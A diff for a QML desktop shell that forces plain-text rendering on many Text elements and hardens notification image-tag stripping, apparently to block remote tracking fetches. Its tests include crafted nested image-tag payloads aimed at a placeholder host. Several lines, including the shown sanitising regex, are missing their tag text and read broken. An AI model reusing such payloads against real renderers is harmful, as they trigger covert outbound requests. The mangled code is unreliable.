@@ -613,6 +619,7 @@ Item { font.pixelSize: Style.font.bodySmall } Text { + textFormat: Text.PlainText text: Style.bar.sizeHorizontal + " px" color: root.foreground font.family: root.fontFamily @@ -626,6 +633,7 @@ Item { font.pixelSize: Style.font.bodySmall } Text { + textFormat: Text.PlainText text: Style.bar.sizeVertical + " px" color: root.foreground font.family: root.fontFamily @@ -639,6 +647,7 @@ Item { font.pixelSize: Style.font.bodySmall } Text { + textFormat: Text.PlainText text: Style.spacing.scale.toFixed(2) color: root.foreground font.family: root.fontFamily @@ -652,6 +661,7 @@ Item { font.pixelSize: Style.font.bodySmall } Text { + textFormat: Text.PlainText text: Style.spacing.panelPadding + " px" color: root.foreground font.family: root.fontFamily @@ -818,6 +828,7 @@ Item { Text { id: csLabel + textFormat: Text.PlainText anchors.left: parent.left anchors.right: parent.right anchors.verticalCenter: parent.verticalCenter @@ -1273,6 +1284,7 @@ Item { } Text { + textFormat: Text.PlainText text: Math.round((demoSlider.dragging ? demoSlider.liveValue : sliderRow.demoVolume) * 100) + "%" color: root.foreground font.family: root.fontFamily diff --git a/shell/plugins/emojis/Emojis.qml b/shell/plugins/emojis/Emojis.qml index cbdf541d..376c382e 100644 --- a/shell/plugins/emojis/Emojis.qml +++ b/shell/plugins/emojis/Emojis.qml @@ -247,6 +247,7 @@ Item { color: "transparent" Text { + textFormat: Text.PlainText anchors.left: parent.left anchors.right: parent.right anchors.verticalCenter: parent.verticalCenter @@ -284,6 +285,7 @@ Item { color: hasCursor ? root.selectedBackground : "transparent" Text { + textFormat: Text.PlainText text: parent.emoji font.family: root.fontFamily font.pixelSize: Style.font.display @@ -326,6 +328,7 @@ Item { } Text { + textFormat: Text.PlainText text: "No matches for “" + root.filterText + "”" color: root.foreground opacity: 0.7 diff --git a/shell/plugins/image-picker/ImagePicker.qml b/shell/plugins/image-picker/ImagePicker.qml index 672a5d16..5c002402 100644 --- a/shell/plugins/image-picker/ImagePicker.qml +++ b/shell/plugins/image-picker/ImagePicker.qml @@ -545,6 +545,7 @@ Item { Text { id: selectedLabel + textFormat: Text.PlainText visible: root.showLabels anchors.top: carousel.bottom anchors.topMargin: Style.space(16) @@ -561,6 +562,7 @@ Item { } Text { + textFormat: Text.PlainText visible: root.filterable && root.filterText anchors.top: selectedLabel.bottom anchors.topMargin: Style.space(8) diff --git a/shell/plugins/lock/LockView.qml b/shell/plugins/lock/LockView.qml index 7b0b0ae0..c2deae0f 100644 --- a/shell/plugins/lock/LockView.qml +++ b/shell/plugins/lock/LockView.qml @@ -184,6 +184,7 @@ Item { } Text { + textFormat: Text.PlainText anchors.fill: passwordInput text: root.authenticatingPassword ? "Checking…" : (root.failureMessage.length > 0 ? root.failureMessage : root.placeholderText) visible: passwordInput.text.length === 0 diff --git a/shell/plugins/menu/Menu.qml b/shell/plugins/menu/Menu.qml index eeaf2e25..aa879c18 100644 --- a/shell/plugins/menu/Menu.qml +++ b/shell/plugins/menu/Menu.qml @@ -1199,6 +1199,7 @@ Item { color: "transparent" Text { + textFormat: Text.PlainText anchors.left: parent.left anchors.right: parent.right anchors.verticalCenter: parent.verticalCenter @@ -1287,6 +1288,7 @@ Item { Text { id: iconText + textFormat: Text.PlainText visible: row.hasIcon && !row.isApp text: row.icon color: row.hasCursor ? root.selectedText : root.foreground @@ -1328,6 +1330,7 @@ Item { Text { id: labelText + textFormat: Text.PlainText width: parent.width text: row.label color: row.hasCursor ? root.selectedText : root.foreground @@ -1338,6 +1341,7 @@ Item { } Text { + textFormat: Text.PlainText width: parent.width text: row.detail visible: (root.filterText || row.kind === "dmenu") && row.detail.length > 0 @@ -1358,6 +1362,7 @@ Item { spacing: 0 Text { + textFormat: Text.PlainText visible: false text: row.childCount color: root.foreground @@ -1368,6 +1373,7 @@ Item { } Text { + textFormat: Text.PlainText text: row.kind === "menu" || row.kind === "link" ? "›" : "" color: row.hasCursor ? root.selectedText : root.foreground opacity: row.kind === "menu" || row.kind === "link" ? 0.36 : 0 @@ -1452,6 +1458,7 @@ Item { } Text { + textFormat: Text.PlainText text: root.filterText ? "No matches for “" + root.filterText + "”" : "Nothing here yet" color: root.foreground opacity: 0.7 diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index 9bad602d..fc71a824 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -5,8 +5,34 @@ function isChromiumDerived(app, appIcon) { source.indexOf("opera") >= 0 } +// The body renders as StyledText so notifications can use the markup the +// body-markup capability advertises (see Service.qml). StyledText honours +// , and a remote src makes the shell issue an unauthenticated GET +// with no user action, so image tags go before the renderer sees them. +// +// One replace() pass is not enough. String.replace scans left to right once, +// so a payload spliced inside the literal "g src="http://a/beacon.png"> +// -> +// +// Repeat to a fixed point. Each pass can only shorten the string, so this +// terminates. +function stripImageTags(text) { + var current = text + var previous + do { + previous = current + // The `$` alternative catches a tag left unterminated at the end of the + // string, which the renderer closes for itself. + current = current.replace(/]*(?:>|$)/gi, "") + } while (current !== previous) + return current +} + function sanitizeBody(body, app, appIcon) { - var text = String(body || "").replace(/]*>/gi, "") + var text = stripImageTags(String(body || "")) if (!isChromiumDerived(app, appIcon)) return text return text diff --git a/shell/plugins/notifications/components/NotificationCard.qml b/shell/plugins/notifications/components/NotificationCard.qml index cf88f23e..1171ddc4 100644 --- a/shell/plugins/notifications/components/NotificationCard.qml +++ b/shell/plugins/notifications/components/NotificationCard.qml @@ -133,6 +133,7 @@ BorderSurface { // Glyph fallback (Nerd Font character) when no image icon is // available. Used by omarchy-notification-send's `-g` flag. Text { + textFormat: Text.PlainText anchors.centerIn: parent visible: root.hasGlyph && smallIconImage.status !== Image.Ready text: root.glyph @@ -143,6 +144,7 @@ BorderSurface { } Text { + textFormat: Text.PlainText Layout.alignment: Qt.AlignVCenter visible: root.compactGlyph text: root.glyph @@ -159,6 +161,11 @@ BorderSurface { spacing: Style.space(2) Text { + // The spec defines the summary as a single line of plain text, so + // AutoText could only ever promote a hostile string to rich text. + // The body below is StyledText on purpose — see Service.qml's + // bodyMarkupSupported — and is stripped in NotificationLogic. + textFormat: Text.PlainText Layout.fillWidth: true visible: root.summary.length > 0 text: root.summary diff --git a/shell/plugins/osd/Osd.qml b/shell/plugins/osd/Osd.qml index abf53e22..581bfa3c 100644 --- a/shell/plugins/osd/Osd.qml +++ b/shell/plugins/osd/Osd.qml @@ -159,6 +159,7 @@ Item { width: root.iconWidth height: parent.height Text { + textFormat: Text.PlainText // Sit the glyph's ink flush in the column, centered when the // column is wider than this particular glyph. x: Math.round((root.iconWidth - root.iconInkWidth) / 2 - iconMetrics.tightBoundingRect.x) @@ -186,6 +187,7 @@ Item { } } Text { + textFormat: Text.PlainText visible: root.message !== "" width: root.hasProgress ? root.valueWidth : root.messageWidth // The readout hugs the card edge so a short percentage doesn't leave diff --git a/shell/plugins/panels/audio/Panel.qml b/shell/plugins/panels/audio/Panel.qml index f8a86c6f..26d0c58d 100644 --- a/shell/plugins/panels/audio/Panel.qml +++ b/shell/plugins/panels/audio/Panel.qml @@ -711,6 +711,7 @@ Panel { // Status only — the switch owns muting, mouse and keyboard alike. Text { id: heroIcon + textFormat: Text.PlainText text: root.outputIcon() color: root.bar.foreground font.family: root.bar.fontFamily @@ -761,6 +762,7 @@ Panel { Text { id: heroLabel + textFormat: Text.PlainText text: root.outputVolumeName( outputSlider.dragging ? outputSlider.liveValue : root.outputVolume, root.outputMuted @@ -800,6 +802,7 @@ Panel { Text { id: outputPercent + textFormat: Text.PlainText text: Math.round((outputSlider.dragging ? outputSlider.liveValue : root.outputVolume) * 100) + "%" color: Qt.darker(root.bar.foreground, 1.4) font.family: root.bar.fontFamily @@ -886,6 +889,7 @@ Panel { Text { id: microphonePercent + textFormat: Text.PlainText text: Math.round((inputSlider.dragging ? inputSlider.liveValue : root.inputVolume) * 100) + "%" color: Qt.darker(root.bar.foreground, 1.4) font.family: root.bar.fontFamily @@ -1030,6 +1034,7 @@ Panel { spacing: Style.space(8) Text { + textFormat: Text.PlainText text: root.sinkGlyph(sinkRow.node) color: root.bar.foreground font.family: root.bar.fontFamily @@ -1040,6 +1045,7 @@ Panel { } Text { + textFormat: Text.PlainText text: root.nodeLabel(sinkRow.node) color: root.bar.foreground font.family: root.bar.fontFamily @@ -1089,6 +1095,7 @@ Panel { spacing: Style.space(8) Text { + textFormat: Text.PlainText text: root.sourceGlyph(sourceRow.node) color: root.bar.foreground font.family: root.bar.fontFamily @@ -1099,6 +1106,7 @@ Panel { } Text { + textFormat: Text.PlainText text: root.nodeLabel(sourceRow.node) color: root.bar.foreground font.family: root.bar.fontFamily @@ -1159,6 +1167,7 @@ Panel { Text { id: streamMuteIcon + textFormat: Text.PlainText text: streamRow.streamMuted ? "󰝟" : "󰕾" color: root.bar.foreground font.family: root.bar.fontFamily @@ -1179,6 +1188,7 @@ Panel { } Text { + textFormat: Text.PlainText text: root.streamLabel(streamRow.node) color: root.bar.foreground font.family: root.bar.fontFamily @@ -1191,6 +1201,7 @@ Panel { Text { id: streamPct + textFormat: Text.PlainText text: Math.round(streamRow.streamVolume * 100) + "%" color: Qt.darker(root.bar.foreground, 1.5) font.family: root.bar.fontFamily diff --git a/shell/plugins/panels/bluetooth/Panel.qml b/shell/plugins/panels/bluetooth/Panel.qml index 343357b4..b0078f84 100644 --- a/shell/plugins/panels/bluetooth/Panel.qml +++ b/shell/plugins/panels/bluetooth/Panel.qml @@ -698,6 +698,7 @@ Panel { // Status only — the switch owns toggling, mouse and keyboard alike. Text { id: heroIcon + textFormat: Text.PlainText anchors.left: parent.left anchors.verticalCenter: parent.verticalCenter text: root.icon @@ -748,6 +749,7 @@ Panel { Text { id: heroStatus + textFormat: Text.PlainText text: root.heroStatusText.toUpperCase() color: Qt.darker(root.bar.foreground, 1.4) font.family: root.bar.fontFamily @@ -863,6 +865,7 @@ Panel { } Text { + textFormat: Text.PlainText visible: root.connectedDevices.length === 0 && root.scrollRows.length === 0 text: !root.adapter ? "No Bluetooth adapter" : !root.adapter.enabled ? "Turn Bluetooth on to scan" @@ -971,6 +974,7 @@ Panel { Text { id: deviceIcon + textFormat: Text.PlainText text: row.isConnected ? "󰂱" : "󰂯" color: row.statusColor font.family: root.bar.fontFamily @@ -989,6 +993,7 @@ Panel { anchors.verticalCenter: parent.verticalCenter Text { + textFormat: Text.PlainText text: root.deviceLabel(row.dev) || "Device" color: root.bar.foreground font.family: root.bar.fontFamily @@ -997,6 +1002,7 @@ Panel { width: parent.width } Text { + textFormat: Text.PlainText visible: row.statusText !== "" text: row.statusText color: row.statusColor diff --git a/shell/plugins/panels/clock/Panel.qml b/shell/plugins/panels/clock/Panel.qml index f0dff3ae..be5d08a0 100644 --- a/shell/plugins/panels/clock/Panel.qml +++ b/shell/plugins/panels/clock/Panel.qml @@ -311,6 +311,7 @@ Panel { Text { id: heroDate + textFormat: Text.PlainText anchors.verticalCenter: parent.verticalCenter text: Qt.formatDate(root.today, "MMMM d") color: heroMouse.containsMouse @@ -413,6 +414,7 @@ Panel { Text { id: yearLabel + textFormat: Text.PlainText visible: !root.editingLife anchors.left: parent.left anchors.verticalCenter: parent.verticalCenter @@ -425,6 +427,7 @@ Panel { Text { id: yearPercent + textFormat: Text.PlainText visible: !root.editingLife anchors.right: parent.right anchors.verticalCenter: parent.verticalCenter @@ -485,6 +488,7 @@ Panel { Text { id: lifePercent + textFormat: Text.PlainText anchors.right: parent.right anchors.verticalCenter: parent.verticalCenter text: root.lifeDonePercent + "%" @@ -608,6 +612,7 @@ Panel { model: root.weekdays Text { + textFormat: Text.PlainText required property var modelData width: root.cellWidth height: Style.space(16) @@ -631,6 +636,7 @@ Panel { spacing: root.cellSpacing Text { + textFormat: Text.PlainText width: root.weekColumnWidth height: root.cellHeight horizontalAlignment: Text.AlignHCenter @@ -662,6 +668,7 @@ Panel { border.color: Style.normalBorderFor(root.contentForeground, Color.accent) Text { + textFormat: Text.PlainText anchors.centerIn: parent text: modelData.day color: modelData.inMonth @@ -707,6 +714,7 @@ Panel { Text { id: monthLabel + textFormat: Text.PlainText anchors.horizontalCenter: parent.horizontalCenter anchors.verticalCenter: parent.verticalCenter // Fixed width so the chevrons hold still between a diff --git a/shell/plugins/panels/dropbox/Panel.qml b/shell/plugins/panels/dropbox/Panel.qml index f1dc2301..b470cee2 100644 --- a/shell/plugins/panels/dropbox/Panel.qml +++ b/shell/plugins/panels/dropbox/Panel.qml @@ -281,6 +281,7 @@ Panel { } Text { + textFormat: Text.PlainText visible: dropbox.actionStatus !== "" || dropbox.lastError !== "" width: parent.width text: dropbox.actionStatus !== "" ? dropbox.actionStatus : dropbox.lastError @@ -421,6 +422,7 @@ Panel { spacing: Style.space(1) Text { + textFormat: Text.PlainText Layout.fillWidth: true text: dropbox.installed ? "Login to Dropbox" : "Dropbox CLI is not installed" color: root.foreground @@ -430,6 +432,7 @@ Panel { } Text { + textFormat: Text.PlainText Layout.fillWidth: true text: dropbox.installed ? "Start the authentication flow" : "Install Dropbox from the service menu" color: root.dim @@ -478,6 +481,7 @@ Panel { spacing: Style.space(8) Text { + textFormat: Text.PlainText text: Model.fileGlyph(fileRow.fileName) color: root.foreground font.family: root.fontFamily @@ -491,6 +495,7 @@ Panel { spacing: Style.space(1) Text { + textFormat: Text.PlainText Layout.fillWidth: true text: fileRow.fileName color: root.foreground @@ -500,6 +505,7 @@ Panel { } Text { + textFormat: Text.PlainText Layout.fillWidth: true text: Model.fileMeta(fileRow.file) color: root.dim diff --git a/shell/plugins/panels/monitor/Panel.qml b/shell/plugins/panels/monitor/Panel.qml index 1753906e..bec38820 100644 --- a/shell/plugins/panels/monitor/Panel.qml +++ b/shell/plugins/panels/monitor/Panel.qml @@ -531,6 +531,7 @@ Panel { Text { id: heroIcon + textFormat: Text.PlainText text: root.displays.length > 1 ? "󰍺" : "󰍹" color: root.bar.foreground font.family: root.bar.fontFamily @@ -559,6 +560,7 @@ Panel { Text { id: heroLabel + textFormat: Text.PlainText text: { if (root.brightnessAvailable) { return root.brightnessName(brightnessSlider.dragging ? brightnessSlider.liveValue : root.brightnessPercent).toUpperCase() @@ -602,6 +604,7 @@ Panel { Text { id: brightnessPercent + textFormat: Text.PlainText text: Math.round(brightnessSlider.dragging ? brightnessSlider.liveValue : root.brightnessPercent) + "%" color: Qt.darker(root.bar.foreground, 1.4) font.family: root.bar.fontFamily @@ -674,6 +677,7 @@ Panel { Text { id: textSizePx + textFormat: Text.PlainText text: (textSizeSlider.dragging ? root.textSizeStops[Math.round(textSizeSlider.liveValue)] : root.displayedTextPx()) + "px" @@ -747,6 +751,7 @@ Panel { // focused one. Text { id: scaleMonitor + textFormat: Text.PlainText text: root.focusedMonitor // Only worth naming when more than one display is in play. visible: root.focusedMonitor !== "" && root.enabledDisplayCount > 1 @@ -887,6 +892,7 @@ Panel { } Text { + textFormat: Text.PlainText text: monitorRow.display.name + (monitorRow.display.focused ? " · focused" : "") color: root.bar.foreground font.family: root.bar.fontFamily @@ -897,6 +903,7 @@ Panel { } Text { + textFormat: Text.PlainText text: monitorRow.display.enabled ? "󰄬" : "" color: root.bar.foreground font.family: root.bar.fontFamily diff --git a/shell/plugins/panels/network/Panel.qml b/shell/plugins/panels/network/Panel.qml index dea1d280..c4da0afe 100644 --- a/shell/plugins/panels/network/Panel.qml +++ b/shell/plugins/panels/network/Panel.qml @@ -1090,6 +1090,7 @@ Panel { // Status only — the switch owns toggling, mouse and keyboard alike. Text { id: heroIcon + textFormat: Text.PlainText text: root.icon color: root.bar.foreground font.family: root.bar.fontFamily @@ -1170,6 +1171,7 @@ Panel { // rather than in a pill, which crowded the on/off switch. Text { id: heroSsid + textFormat: Text.PlainText width: parent.width readonly property string title: { @@ -1189,6 +1191,7 @@ Panel { Text { id: heroMeta + textFormat: Text.PlainText width: parent.width text: { if (root.info.type === "wifi") { @@ -1711,6 +1714,7 @@ Panel { Text { id: networkIcon + textFormat: Text.PlainText text: row.net ? root.wifiIconFor(row.net.signal) : "" color: row.statusColor font.family: root.bar.fontFamily @@ -1732,6 +1736,7 @@ Panel { Text { id: lockIndicator + textFormat: Text.PlainText visible: row.requiresCredentials || row.forgetVisible width: parent.width anchors.verticalCenter: parent.verticalCenter @@ -1779,6 +1784,7 @@ Panel { anchors.verticalCenter: parent.verticalCenter Text { + textFormat: Text.PlainText text: row.net ? (row.net.ssid || "Hidden") : "" color: root.bar.foreground font.family: root.bar.fontFamily @@ -1787,6 +1793,7 @@ Panel { width: parent.width } Text { + textFormat: Text.PlainText // Signal strength is conveyed by the wifi-bars icon and the // right-edge glyph/buttons carry protection or forget affordances, // so the second line only carries action status (Connecting…, @@ -1893,6 +1900,7 @@ Panel { radius: Style.cornerRadius Text { + textFormat: Text.PlainText anchors.fill: parent horizontalAlignment: Text.AlignHCenter verticalAlignment: Text.AlignVCenter diff --git a/shell/plugins/panels/power/Panel.qml b/shell/plugins/panels/power/Panel.qml index 871ee2f6..7733bb37 100644 --- a/shell/plugins/panels/power/Panel.qml +++ b/shell/plugins/panels/power/Panel.qml @@ -325,6 +325,7 @@ Panel { Text { id: heroIcon + textFormat: Text.PlainText text: root.batteryIcon() color: root.bar.foreground font.family: root.bar.fontFamily @@ -356,6 +357,7 @@ Panel { Text { id: heroStatus + textFormat: Text.PlainText text: root.heroStatusText.toUpperCase() color: Qt.darker(root.bar.foreground, 1.4) font.family: root.bar.fontFamily @@ -369,6 +371,7 @@ Panel { Text { id: heroPercent + textFormat: Text.PlainText text: root.batteryInfo.percentage || "—" color: root.bar.foreground font.family: root.bar.fontFamily diff --git a/shell/plugins/panels/tailscale/Panel.qml b/shell/plugins/panels/tailscale/Panel.qml index 34278eda..6a976307 100644 --- a/shell/plugins/panels/tailscale/Panel.qml +++ b/shell/plugins/panels/tailscale/Panel.qml @@ -498,6 +498,7 @@ Panel { } Text { + textFormat: Text.PlainText visible: tailscale.actionStatus !== "" || tailscale.lastError !== "" width: parent.width text: tailscale.actionStatus !== "" ? tailscale.actionStatus : tailscale.lastError @@ -841,6 +842,7 @@ Panel { } Text { + textFormat: Text.PlainText text: accountRow.accountText color: root.foreground font.family: root.fontFamily @@ -933,6 +935,7 @@ Panel { spacing: Style.space(8) Text { + textFormat: Text.PlainText text: tailscale.osIcon(peer ? peer.OS : "") color: root.foreground font.family: root.fontFamily @@ -946,6 +949,7 @@ Panel { spacing: Style.space(1) Text { + textFormat: Text.PlainText Layout.fillWidth: true text: peerRow.peerName color: root.foreground @@ -955,6 +959,7 @@ Panel { } Text { + textFormat: Text.PlainText Layout.fillWidth: true text: { var parts = [] @@ -1087,6 +1092,7 @@ Panel { spacing: Style.space(10) Text { + textFormat: Text.PlainText Layout.fillWidth: true text: copyChoice.label color: root.foreground @@ -1134,6 +1140,7 @@ Panel { Text { id: exitNodeGlyph + textFormat: Text.PlainText text: exitNodeRow.addMullvad ? "+" : (peer && peer.Mullvad === true ? "󰖂" : "󱇢") color: exitNodeRow.activeExitNode || exitNodeRow.settingExitNode || exitNodeRow.addMullvad ? root.foreground : root.dim font.family: root.fontFamily @@ -1154,6 +1161,7 @@ Panel { } Text { + textFormat: Text.PlainText text: exitNodeRow.peerName color: root.foreground font.family: root.fontFamily @@ -1224,6 +1232,7 @@ Panel { spacing: Style.space(1) Text { + textFormat: Text.PlainText width: parent.width text: regionRow.regionName color: root.foreground @@ -1234,6 +1243,7 @@ Panel { } Text { + textFormat: Text.PlainText width: parent.width text: regionRow.regionDetail visible: text !== "" diff --git a/shell/plugins/panels/weather/Panel.qml b/shell/plugins/panels/weather/Panel.qml index dacb4ac9..edb12777 100644 --- a/shell/plugins/panels/weather/Panel.qml +++ b/shell/plugins/panels/weather/Panel.qml @@ -531,6 +531,7 @@ Panel { Text { id: heroIcon + textFormat: Text.PlainText anchors.verticalCenter: parent.verticalCenter anchors.verticalCenterOffset: 5 text: root.label || "—" @@ -547,6 +548,7 @@ Panel { Text { id: tempBig + textFormat: Text.PlainText text: root.reportTempNum || "—" color: root.bar.foreground font.family: root.bar.fontFamily @@ -556,6 +558,7 @@ Panel { font.bold: true } Text { + textFormat: Text.PlainText text: root.current ? root.tempUnit : "" color: root.bar.foreground font.family: root.bar.fontFamily @@ -593,6 +596,7 @@ Panel { anchors.verticalCenter: parent.verticalCenter } Text { + textFormat: Text.PlainText text: (root.reportLocation || "").toUpperCase() color: Qt.darker(root.bar.foreground, 1.4) font.family: root.bar.fontFamily @@ -643,6 +647,7 @@ Panel { color: !root.savingLocation && clearLocationArea.containsMouse ? Style.hoverFillFor(root.bar.foreground, Color.accent) : "transparent" Text { + textFormat: Text.PlainText anchors.centerIn: parent text: root.savingLocation ? "󰦖" : "✕" font.family: root.bar.fontFamily @@ -683,6 +688,7 @@ Panel { font.letterSpacing: 1 } Text { + textFormat: Text.PlainText text: root.reportFeels color: root.bar.foreground font.family: root.bar.fontFamily @@ -700,6 +706,7 @@ Panel { font.letterSpacing: 1 } Text { + textFormat: Text.PlainText text: root.reportWind color: root.bar.foreground font.family: root.bar.fontFamily @@ -717,6 +724,7 @@ Panel { font.letterSpacing: 1 } Text { + textFormat: Text.PlainText text: root.reportHumidity color: root.bar.foreground font.family: root.bar.fontFamily @@ -752,12 +760,14 @@ Panel { spacing: Style.space(8) Text { + textFormat: Text.PlainText text: modelData.name color: index === root.suggestionIndex ? Style.hoverStateColor(root.bar.foreground, Color.accent) : root.bar.foreground font.family: root.bar.fontFamily font.pixelSize: Style.font.body } Text { + textFormat: Text.PlainText visible: text !== "" text: modelData.description color: Qt.darker(root.bar.foreground, 1.5) @@ -817,6 +827,7 @@ Panel { spacing: Style.space(10) Text { + textFormat: Text.PlainText anchors.verticalCenter: parent.verticalCenter text: root.dayIcon(modelData) color: root.bar.foreground @@ -829,6 +840,7 @@ Panel { spacing: Style.space(2) Text { + textFormat: Text.PlainText text: root.dayName(modelData.date).toUpperCase() color: Qt.darker(root.bar.foreground, 1.4) font.family: root.bar.fontFamily @@ -840,12 +852,14 @@ Panel { spacing: Style.space(6) Text { + textFormat: Text.PlainText text: root.bareTempForDay(modelData, "max") color: root.bar.foreground font.family: root.bar.fontFamily font.pixelSize: Style.font.body } Text { + textFormat: Text.PlainText text: root.bareTempForDay(modelData, "min") color: Qt.darker(root.bar.foreground, 1.5) font.family: root.bar.fontFamily diff --git a/shell/plugins/panels/wifiqr/Panel.qml b/shell/plugins/panels/wifiqr/Panel.qml index 276434a8..1426b5fd 100644 --- a/shell/plugins/panels/wifiqr/Panel.qml +++ b/shell/plugins/panels/wifiqr/Panel.qml @@ -257,6 +257,7 @@ Item { spacing: Style.space(16) Text { + textFormat: Text.PlainText text: (root.ssid || "Wi-Fi").toUpperCase() color: root.onScrimDim font.family: root.fontFamily @@ -318,6 +319,7 @@ Item { } Text { + textFormat: Text.PlainText visible: root.error !== "" text: root.error color: root.onScrimUrgent @@ -340,6 +342,7 @@ Item { } Text { + textFormat: Text.PlainText visible: root.showingQr && root.secured text: root.passwordError !== "" ? root.passwordError : root.passwordVisible ? root.password diff --git a/shell/plugins/polkit/PolkitAgent.qml b/shell/plugins/polkit/PolkitAgent.qml index 8ce95973..8786eeeb 100644 --- a/shell/plugins/polkit/PolkitAgent.qml +++ b/shell/plugins/polkit/PolkitAgent.qml @@ -332,6 +332,7 @@ Item { } Text { + textFormat: Text.PlainText anchors.left: parent.left anchors.right: parent.right anchors.verticalCenter: parent.verticalCenter @@ -374,6 +375,7 @@ Item { Text { id: justificationText + textFormat: Text.PlainText anchors.fill: parent anchors.leftMargin: Style.space(12) anchors.rightMargin: Style.space(12) diff --git a/shell/plugins/reminders/ReminderFlow.qml b/shell/plugins/reminders/ReminderFlow.qml index bc6616db..fef95cf0 100644 --- a/shell/plugins/reminders/ReminderFlow.qml +++ b/shell/plugins/reminders/ReminderFlow.qml @@ -156,6 +156,7 @@ Item { anchors.leftMargin: card.contentLeftInset Text { + textFormat: Text.PlainText anchors.left: parent.left anchors.right: parent.right anchors.verticalCenter: parent.verticalCenter diff --git a/shell/plugins/services/media/BarWidget.qml b/shell/plugins/services/media/BarWidget.qml index 52793c16..02650efc 100644 --- a/shell/plugins/services/media/BarWidget.qml +++ b/shell/plugins/services/media/BarWidget.qml @@ -32,6 +32,7 @@ BarWidget { Text { id: glyph + textFormat: Text.PlainText anchors.verticalCenter: parent.verticalCenter text: root.playIcon color: activePlayer && activePlayer.isPlaying ? root.bar.barForeground : Qt.darker(root.bar.barForeground, 1.5) @@ -53,6 +54,7 @@ BarWidget { Text { id: labelText + textFormat: Text.PlainText text: root.title + (root.artist ? " · " + root.artist : "") color: root.bar.barForeground font.family: root.bar.fontFamily @@ -148,6 +150,7 @@ BarWidget { width: parent.width - Style.space(74) Text { + textFormat: Text.PlainText text: root.title || "Nothing playing" color: root.bar.foreground font.family: root.bar.fontFamily @@ -158,6 +161,7 @@ BarWidget { } Text { + textFormat: Text.PlainText text: root.artist color: Qt.darker(root.bar.foreground, 1.3) font.family: root.bar.fontFamily @@ -168,6 +172,7 @@ BarWidget { } Text { + textFormat: Text.PlainText text: root.activePlayer && root.activePlayer.trackAlbum ? root.activePlayer.trackAlbum : "" color: Qt.darker(root.bar.foreground, 1.6) font.family: root.bar.fontFamily @@ -255,6 +260,7 @@ BarWidget { spacing: Style.space(8) Text { + textFormat: Text.PlainText text: sourceRow.player && sourceRow.player.isPlaying ? "󰏤" : "󰐊" color: root.bar.foreground font.family: root.bar.fontFamily @@ -270,6 +276,7 @@ BarWidget { anchors.verticalCenter: parent.verticalCenter Text { + textFormat: Text.PlainText text: sourceRow.sourceTitle color: root.bar.foreground font.family: root.bar.fontFamily @@ -280,6 +287,7 @@ BarWidget { } Text { + textFormat: Text.PlainText text: sourceRow.sourceDetail color: Qt.darker(root.bar.foreground, 1.5) font.family: root.bar.fontFamily diff --git a/test/shell.d/notifications-test.sh b/test/shell.d/notifications-test.sh index 58a4e32a..754dd29e 100644 --- a/test/shell.d/notifications-test.sh +++ b/test/shell.d/notifications-test.sh @@ -18,6 +18,40 @@ assertEqual( 'notifications strip inline image tags' ) +// The body renders as StyledText, which fetches over the network, so +// the strip has to survive a payload built to outlive one replace() pass. A +// single left-to-right pass consumes the inner tag and lets the outer halves +// close up into a live tag: . +assertEqual( + notifications.sanitizeBody('g src="http://host/beacon.png">', 'Slack', ''), + '', + 'notifications strip image tags that reassemble after one substitution' +) + +assertEqual( + notifications.sanitizeBody('g src=b>g src="http://host/deep.png">', 'Slack', ''), + '', + 'notifications strip nested image tags to a fixed point' +) + +assertEqual( + notifications.sanitizeBody('trailing shout', 'Slack', ''), + 'shout', + 'notifications strip image tags regardless of case' +) + +assertEqual( + notifications.sanitizeBody('bold and link', 'Slack', ''), + 'bold and link', + 'notifications keep the body markup the body-markup capability advertises' +) + assertEqual( notifications.sanitizeBody('example.com Message body', 'Chromium', ''), 'Message body', diff --git a/test/shell.d/qml-text-format-test.sh b/test/shell.d/qml-text-format-test.sh new file mode 100755 index 00000000..ff088969 --- /dev/null +++ b/test/shell.d/qml-text-format-test.sh @@ -0,0 +1,144 @@ +#!/bin/bash + +# A QML Text element with no textFormat uses Text.AutoText. Qt then runs +# mightBeRichText() over the string and promotes it to Text.RichText when it +# looks like markup, and RichText fetches through +# QQuickPixmap. Any string that reaches such an element from outside the shell +# — a notification summary, an MPRIS track title, a window title, an SSID, a +# Bluetooth device name, clipboard content, a weather API response — can +# therefore make the shell issue an unauthenticated outbound GET with no user +# interaction. +# +# The promotion needs only that the attacker contribute the first `<` in the +# string, on the first line. A fixed label in front of the value does not +# protect it, and neither does .toUpperCase(), because the parser lowercases +# the tag before looking it up. +# +# So require an explicit textFormat on every Text whose text: binding is not a +# bare string literal. A literal carries no external data, so AutoText has +# nothing to promote; this test is what catches the edit that later turns such +# a literal into an expression. + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +require_command python3 + +violations=$(ROOT="$ROOT" python3 <<'PY' +import os +import re +from pathlib import Path + +OPEN_ELEMENT = re.compile(r'(?:^|[:\s])([A-Z][A-Za-z0-9_.]*)\s*\{\s*$') +PROP = re.compile(r'^\s*([A-Za-z_][A-Za-z0-9_.]*)\s*:') +STRING_LITERAL = re.compile(r'"(?:[^"\\]|\\.)*"|\'(?:[^\'\\]|\\.)*\'') +PROPERTY_DECL = re.compile(r'^\s*(?:readonly\s+)?property\b') +ROOT_TEXT = re.compile(r'^Text\s*\{\s*$') + + +def strip_noise(line, keep_strings=False): + out = [] + i = 0 + quote = None + while i < len(line): + c = line[i] + if quote: + if keep_strings: + out.append(c) + if c == '\\': + if keep_strings and i + 1 < len(line): + out.append(line[i + 1]) + i += 2 + continue + if c == quote: + quote = None + if not keep_strings: + out.append('S') + i += 1 + continue + if c in '"\'': + quote = c + if keep_strings: + out.append(c) + i += 1 + continue + if c == '/' and i + 1 < len(line) and line[i + 1] == '/': + break + out.append(c) + i += 1 + return ''.join(out) + + +def is_pure_literal(expr): + residue = STRING_LITERAL.sub('', expr) + residue = re.sub(r'[\s+]', '', residue) + return residue == '' and STRING_LITERAL.search(expr) is not None + + +def blocks(lines): + stack = [] + done = [] + depth = 0 + for idx, raw in enumerate(lines): + code = strip_noise(raw) + opened = OPEN_ELEMENT.search(code) + prop = PROP.match(code) + if (prop and stack and stack[-1]['depth'] == depth + and not opened and not PROPERTY_DECL.match(code)): + stack[-1]['props'].setdefault(prop.group(1), idx) + n_open = code.count('{') + n_close = code.count('}') + if opened and n_open > 0: + depth += 1 + stack.append({'name': opened.group(1), 'depth': depth, + 'props': {}, 'start': idx}) + depth += n_open - 1 - n_close + else: + depth += n_open - n_close + while stack and depth < stack[-1]['depth']: + 